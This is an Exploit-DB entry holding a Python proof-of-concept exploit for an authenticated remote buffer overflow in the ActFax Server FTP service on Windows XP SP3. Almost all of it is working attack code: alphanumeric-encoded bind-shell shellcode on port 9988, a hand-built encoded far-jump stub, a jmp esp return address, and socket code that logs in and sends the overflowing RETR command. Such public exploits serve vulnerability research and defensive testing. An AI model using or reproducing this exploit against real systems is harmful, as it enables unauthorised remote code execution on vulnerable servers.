Exploit-DB #17373
Description: ActFax Server FTP - (Authenticated) Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-06-08
Author: b33f

Exploit:
#!/usr/bin/python

#-----------------------------------------------------------------------------------
# Exploit Title: ActFax Server FTP Remote BOF (post auth)
# Author: b33f - Ruben Boonen
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe
# Tested on: Windows XP PRO SP3 (version 2002) - VMware Workstation
#-----------------------------------------------------------------------------------
# Credit goes to chap0 for discovering the bug.
# Allot of thanks to PoURaN, for helping a n00b understand assembly better!!!
#-----------------------------------------------------------------------------------
 
import socket
import sys
 
print "\nActFax XP SP3 Pro..."
print "Hunting for alphanumeric code!!\n"

#-----------------------------------------------------------------------------------
# payload => win32_bind LPORT=9988 Size=709 => Encoder=PexAlphaNum
#-----------------------------------------------------------------------------------
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38"
"\x4e\x56\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x42\x4a\x42\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x56\x46\x42\x4e\x51\x41\x56\x43\x4c\x41\x33\x4b\x4d"
"\x46\x46\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x50\x4b\x38"
"\x42\x47\x4e\x51\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x35\x4a\x56"
"\x50\x38\x50\x54\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36"
"\x43\x35\x48\x36\x4a\x56\x43\x33\x44\x33\x4a\x46\x47\x47\x43\x47"
"\x44\x33\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e"
"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x55\x43\x45\x43\x55\x43\x44"
"\x43\x35\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x47\x52"
"\x46\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x59\x4a\x36\x46\x4a"
"\x4c\x51\x42\x57\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31"
"\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32"
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x35\x46\x55\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
"\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x45\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x46\x48\x36\x4a\x46\x43\x46"
"\x4d\x56\x49\x38\x45\x4e\x4c\x46\x42\x45\x49\x35\x49\x42\x4e\x4c"
"\x49\x58\x47\x4e\x4c\x46\x46\x44\x49\x38\x44\x4e\x41\x53\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x44\x4e\x32"
"\x43\x59\x4d\x58\x4c\x57\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x44\x4f\x4f"
"\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x55\x41\x45\x41\x35\x4c\x56"
"\x41\x30\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x56"
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
"\x43\x38\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
"\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")

#-----------------------------------------------------------------------------------
# ASCII encoded  => Size=52
# Decoded opcode => E9DE140000 - JMP 0178D7A7
#-----------------------------------------------------------------------------------
farjump = (
"\x25\x4A\x4D\x4E\x55"     # AND EAX,554E4D4A
"\x25\x35\x32\x31\x2A"     # AND EAX,2A313235
"\x2D\x55\x55\x55\x5A"     # SUB EAX,5A555555
"\x2D\x55\x55\x55\x5A"     # SUB EAX,5A555555
"\x2D\x56\x55\x55\x5B"     # SUB EAX,5B555556
"\x50"                     # PUSH EAX
"\x25\x4A\x4D\x4E\x55"     # AND EAX,554E4D4A
"\x25\x35\x32\x31\x2A"     # AND EAX,2A313235
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x50"                     # PUSH EAX
"\xEB\xC1")                # JMP SHORT 0112CAE0 (back to the beginning of ESP,
                           # ESP now points to our decoded far-jump).

#-----------------------------------------------------------------------------------
#
# At crash time our buffer is copied several times into memory (some of these are
# corrupt), so we write some fancy far-jump instruction in ESP. After this is
# decoded in memory we jump to our nop bytes (i think 3de itteration of our buffer).
# Ironically this doesn't even crash the program, only when you close the bind
# shell connection does the program crash...
#
# jmp esp - user32.dll => 0x7E429353
#-----------------------------------------------------------------------------------
buffer = "\x90"*41 + shellcode + "\x90"*23 + "\x53\x93\x42\x7E" + "\x90"*1 + farjump + "\x90"*175

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.71',21))
s.recv(1024)
s.send('USER ' + 'b33f\r\n')
print (s.recv(1024))
s.send('PASS b33f\r\n')
print (s.recv(1024))
s.send('RETR ' + buffer + '\r\n')
s.close